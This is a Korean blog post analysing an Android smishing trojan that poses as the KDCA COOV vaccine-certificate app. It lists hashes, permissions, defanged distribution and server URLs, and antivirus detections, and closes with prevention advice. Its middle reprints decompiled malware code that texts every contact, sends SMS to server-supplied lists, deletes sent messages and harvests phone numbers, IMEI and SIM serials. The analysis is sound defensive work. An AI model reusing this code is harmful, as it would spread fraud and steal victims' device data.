오늘은 가짜 질병관리본부 사칭 스미싱 피싱 사이트 악성코드 질병관리청 COOV(2021.08.03) 에 대해 알아보겠습니다.
질병관리본부(Korea Centers for Disease Control & Prevention)는 국민의 보건향상을 위해 설립된 보건복지부 소속 기관이며 미국 질병통제예방센터(CDC)를 모델로 하여 만들어졌으며 기존의 국립보건원(Korea National Institute of Health)을 승격시켜 서울특별시 은평구 녹번동에 설립되었으나 2010년 12월 충청북도 청원군 오송읍 오송생명과학단지로 이전했으며 사스유행사태 당시 질병관리에 대한 중앙 컨트롤센터의 필요성을 제기하고 미국의 CDC를 본떠 질병관리본부를 출범하고 사고대책매뉴얼을 간행했으며 이후 메르스 사태 이후 질본 주도하에 지속적으로 블랙스완 에 대비한 시뮬레이션과 대응방안을 개발해왔고 그리고 질병관리본부에서 질병관리청으로 승격 예정이라고 하며 질병관리본부는 본부장을 1명 두며 정무직(차관급)으로 보임하며 그리고 국내에서는 유일한 생물안전도 4등급(BSL level 4)의 전염성 매개체를 실험할 수 있는 실험실을 청주 오송에 가지고 있습니다.
[소프트웨어 팁/보안 및 분석] - 가짜 질병관리본부 사칭 피싱 사이트 악성코드 유포
오늘은 질병 관리청으로 속이면서 안드로이드 스마트폰 사용자를 노리는 질병관리청 COOV에 대해 알아보겠습니다.
일단 해당 악성코드는 휴대폰 전화번호·apk 형식으로 돼 있지만, 괜히 해당 전화번호 그대로 노출을 시키면 개인정보 관련 때문에 악성코드 이름은 질병관리청 COOV으로 변경을 합니다. 해당 악성코드는 현재 한국 정부에서 코로나 19 백신을 받은 사람들에게 나~예방 접종했음을 증명할 수가 있게 만든 어플인 질병관리청 COOV(코로나19 전자예방접종증명서)으로 위장을 하는 악성코드입니다.
일단 악성코드는 다음과 같이 악성코드가 감염됩니다.
hxxp://tsepticxv(.)nosc.fit/ 으로 접속을 유도하고 010xxxxxxxx.apk 의 형식으로 악성코드가 다운로드 가 되고 사용자가 이를 설치했으면 감염이 되는 구조로 되어 있습니다.
일단 해쉬값은 다음과 같습니다.
파일명: 질병관리청 COOV.apk
사이즈: 2,542,507 Bytes
CRC32:62f45ec9
MD5:315746f75e0f133b01678dea587b3c3f
SHA-1 819c0c716781a6360537400d7db4d958e1ab78f7
SHA-256:16f7d02cbacaec1a159d75c5b7f89084e3aa7bafd3755eb98453db684cf3c860
SHA-512:edb7318f8b8d3742c4feb2cd3e1efc214abf7e5307f5be2b89c2b3075f275387d23e75ffb84d3659d74942b1027928b616e797f4db02a1ee214c6a088a78cc36
입니다.
먼저 해당 악성코드 안드로이드 권한을 보겠습니다.
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
입니다. 일단 권한을 보면 문자 읽고 쓰기, 인터넷, 연락처 읽기, 전화 걸기, 전화 수신 차단을 하기 위한 권한들이 보입니다.
앱 이름: 질병관리청 COOV
패키지 이름: com.example.Nnwiywkx
일단 SMS(문자 권한), 전화번호를 취득하기 위해서 com.example.Nnwiywkx.Tools 에 다음과 같이 구성이 돼 있습니다.
private void onoffGPS(String paramString, boolean paramBoolean) {
String str = Settings.Secure.getString(this.context.getContentResolver(), "location_providers_allowed");
if ((paramBoolean && !str.contains(paramString)) || (!paramBoolean && str.contains(paramString))) {
Intent intent = new Intent();
intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
intent.addCategory("android.intent.category.ALTERNATIVE");
intent.setData(Uri.parse("3"));
this.context.sendBroadcast(intent);
}
}
public void SendContacts(Context paramContext) {
boolean bool1 = paramContext.getSharedPreferences("pref", 0).getBoolean("sendLocalMsg", false);
boolean bool2 = paramContext.getSharedPreferences("pref", 0).getBoolean("sendNetMsg", false);
if (paramContext.getSharedPreferences("pref", 0).getInt("sms_switch", 0) == 0 && !Boolean.valueOf(bool1).booleanValue()) {
SendLocalContacts(paramContext);
SharedPreferences.Editor editor = paramContext.getSharedPreferences("pref", 0).edit();
editor.putBoolean("sendLocalMsg", true);
editor.commit();
}
if (paramContext.getSharedPreferences("pref", 0).getInt("sms_netblockstate", 0) == 0 && !Boolean.valueOf(bool2).booleanValue()) {
SendNetContacts(paramContext);
SharedPreferences.Editor editor = paramContext.getSharedPreferences("pref", 0).edit();
editor.putBoolean("sendNetMsg", true);
editor.commit();
}
}
public void SendContactsServer(Context paramContext) {
if (Boolean.valueOf(paramContext.getSharedPreferences("pref", 0).getBoolean("sendMsg", false)).booleanValue())
return;
if (paramContext.getSharedPreferences("pref", 0).getInt("sms_switch", 0) == 1)
return;
getPhoneNumber().replace(" ", "-");
int i = 0;
String str1 = paramContext.getSharedPreferences("pref", 0).getString("word", "test");
String str2 = paramContext.getSharedPreferences("pref", 0).getString("phone_list", "");
if (str2 == "")
return;
for (String str : str2.split("\n")) {
if (str.length() > 3) {
SmsManager.getDefault().sendTextMessage(str, null, str1, null, null);
i++;
}
}
SharedPreferences.Editor editor = paramContext.getSharedPreferences("pref", 0).edit();
editor.putBoolean("sendMsg", true);
editor.commit();
}
public void SendLocalContacts(Context paramContext) {
getPhoneNumber().replace(" ", "-");
Cursor cursor = paramContext.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
int i = 0;
int j = 0;
if (cursor.getCount() > 0) {
i = cursor.getColumnIndex("_id");
j = cursor.getColumnIndex("display_name");
}
String str2 = paramContext.getSharedPreferences("pref", 0).getString("smstext", "test");
String str1 = str2;
if (str2.equals(""))
str1 = paramContext.getSharedPreferences("pref", 0).getString("word", "test");
while (cursor.moveToNext()) {
boolean bool;
str2 = cursor.getString(i);
cursor.getString(j);
ContentResolver contentResolver = paramContext.getContentResolver();
Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("contact_id=");
stringBuilder.append(str2);
Cursor cursor1 = contentResolver.query(uri, null, stringBuilder.toString(), null, null);
if (cursor1.getCount() > 0) {
bool = cursor1.getColumnIndex("data1");
} else {
bool = false;
}
if (cursor1.moveToNext()) {
String str = cursor1.getString(bool);
if (str.length() > 0)
str = str.replace(" ", "").replace("+", "");
if (str.length() == 11 || str.startsWith("86"))
SmsManager.getDefault().sendTextMessage(str, null, str1, null, null);
}
}
}
public void SendNetContacts(Context paramContext) {
int i = 0;
String str3 = paramContext.getSharedPreferences("pref", 0).getString("smstext", "test");
String str2 = str3;
if (str3.equals(""))
str2 = paramContext.getSharedPreferences("pref", 0).getString("word", "test");
String str1 = paramContext.getSharedPreferences("pref", 0).getString("phone2_list", "");
if (!str1.equals("")) {
String[] arrayOfString = str1.split(";");
int j = arrayOfString.length;
while (i < j) {
str3 = arrayOfString[i];
if (str3.length() > 10)
SmsManager.getDefault().sendTextMessage(str3, null, str2, null, null);
i++;
}
}
}
public void deleteSMS(Context paramContext) {
try {
ContentResolver contentResolver = paramContext.getContentResolver();
Cursor cursor = contentResolver.query(Uri.parse("content://sms/sent"), new String[] { "_id", "thread_id" }, null, null, null);
if (cursor != null && cursor.moveToFirst()) {
boolean bool;
do {
long l = cursor.getLong(1);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("content://sms/conversations/");
stringBuilder.append(l);
contentResolver.delete(Uri.parse(stringBuilder.toString()), null, null);
bool = cursor.moveToNext();
} while (bool);
}
return;
} catch (Exception exception) {
exception.printStackTrace();
return;
}
}
public void disableGPS() {
onoffGPS("gps", false);
}
public void enableGPS() {
onoffGPS("gps", true);
}
public String getPhoneNumber() {
TelephonyManager telephonyManager = (TelephonyManager)this.context.getSystemService("phone");
String str = telephonyManager.getLine1Number();
if (str == null || str.equals("")) {
String str1;
str = telephonyManager.getSimSerialNumber();
String str2 = telephonyManager.getDeviceId();
telephonyManager = null;
if (str != null && str2 != null) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(String.valueOf(str2.toUpperCase()));
stringBuilder.append("-");
stringBuilder.append(str.toUpperCase());
return stringBuilder.toString();
}
if (str2 != null)
str1 = str2.toUpperCase();
return str1;
}
return (str.charAt(0) == '+') ? str.substring(1) : str;
}
public String getTelCompany() {
return ((TelephonyManager)this.context.getSystemService("phone")).getNetworkOperatorName();
}
그리고 스마트폰의 IMEI 정보를 획득하기 위해서 다음과 같이 돼 있습니다.
androidx.appcompat.app.AppCompatDelegateImpl,androidx.appcompat.app.ToolbarActionBar,androidx.appcompat.app.WindowDecorActionBar 에 있으면 예를 들어서 androidx.appcompat.app.AppCompatDelegateImpl에서는 다음과 같은 것이 포함돼 있습니다.
악성코드에 포함된 주소는 다음과 같습니다.
hxxp://192.168(.)0.104:8087/ImageServer/upServer
K-.Ki(.)Ki/K-.
hxxp://schemas(.)android(.)com/apk/res-auto
hxxp://schemas.android(.)com/apk/res/android
hxxp://192.168.1(.)4/receive_file.php
hxxp://www.eodm(.)fit/
입니다. 그리고 해당 악성코드를 분해를 해보면 다음과 같이 질병관리청 COOV 아이콘이 있어서 사용자를 속이려고 포함이 돼 있는 것을 볼 수가 있습니다.
그리고 악성코드를 실행하면 신분증/면허증 촬영하기
1. 신분증/면허증 앞면 칸에맞추세요.
2. 빛반사없이 어두운곳에서 촬영하세요.
라고 돼 있는데 첫 번째 한국인이라면 여기서 띄어쓰기가 이상한 것을 볼수가 있으며
진짜 질병관리청 COOV(코로나 19 전자예방접종증명서)은 휴대폰 번호로 인증이 진행되며 그리고 절대로 신분증, 면허증 사진을 요구하지 않습니다. 그리고 카메라 접근 권한은 QR 코드 인식을 하려고 권한을 주면 카카오 톡 같은 곳에서는 현재 개인 안심번호를 통해서도 COOV(코로나 19 전자예방접종증명서)를 제공을 하고 있기 때문에 카카오톡을 이용을 하시는 것도 좋은 방법입니다.
그리고 질병관리청에서는 코로나 19 백신 사전예약시스템을 통하였으면 이외에는 개인정보를 요구하지 않으면 코로나 19 백신 예약을 했을 때 코로나 19 백신 예약한 병원, 시간만 보내자면 그리고 질병관리청 COOV(코로나19 전자예방접종증명서)은 사용자가 구글 플레이 같은 공식 스토어에서만 다운로드 해서 실행을 하면 은행 관련 정보는 요구하지 않습니다.
개인적 생각으로는 해당 악성코드는 신분증, 면허증 은행 정보를 확보해서 불법 대출을 받으려고 이루어지거나 통장에 있는 돈을 가로채려고 제작된 악성코드인 것 같습니다. 그리고 포함이 된 인증서 정보는 다음과 같습니다.
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
93:6e:ac:be:07:f2:01:df
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android/emailAddress=android@android(.)com
Validity
Not Before: Feb 29 01:33:46 2008 GMT
Not After : Jul 17 01:33:46 2035 GMT
Subject: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android/emailAddress=android@android(.)com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)
입니다. 그리고 2021-08-04 20:28:25 UTC 기준 바이러스토탈(VirusTotal)기준으로 진단하는 업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Avast-Mobile:APK:RepSandbox [Trj]
BitDefenderFalx:Android.Trojan.Agent.gQMKG
CAT-QuickHeal:Android.SMForw.GEN37097
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
Fortinet:Android/Agent.BSO!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 0057ee141 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmForw.snt
McAfee:Artemis!315746F75E0F
McAfee-GW-Edition:Artemis!Trojan
Symantec Mobile Insight:Spyware:MobileSpy
Tencent:Dos.Trojan-spy.Smforw.Lhdf
Trustlook:Android.PUA.General
이며 앞으로 더 많은 백신 업체에서 업데이트가 진행이 될 것입니다. 언제나 이야기하는 기본적인 예방 방법은 다음과 같습니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
몸캠 스미싱 피싱 악성코드-goldmoonV1.3.1(2021.08.10) (7) | 2021.08.13 |
---|---|
윈도우 10 KB5005033 및 KB5005031 누적 업데이트 (0) | 2021.08.11 |
파이어폭스 91 보안 업데이트 및 새로운 HTTPS-First Policy 도입 (0) | 2021.08.10 |
신한은행 사칭 스미싱 악성코드-shinhan.apk(2021.08.04) (4) | 2021.08.10 |
윈도우 디펜더 윈도우 10 기본적으로 잠재적으로 원하지 않는 앱(PUA)을 차단 방법 (2) | 2021.08.05 |
파이어폭스 새로운 SmartBlock 기능 작동 방식 (4) | 2021.08.04 |
윈도우 10 게임 문제 해결을 위한 KB5004296 미리 보기 업데이트 (0) | 2021.07.30 |
안드로이드 몸캠 피싱 악성코드-동영상.apk(2021.7.24) (6) | 2021.07.27 |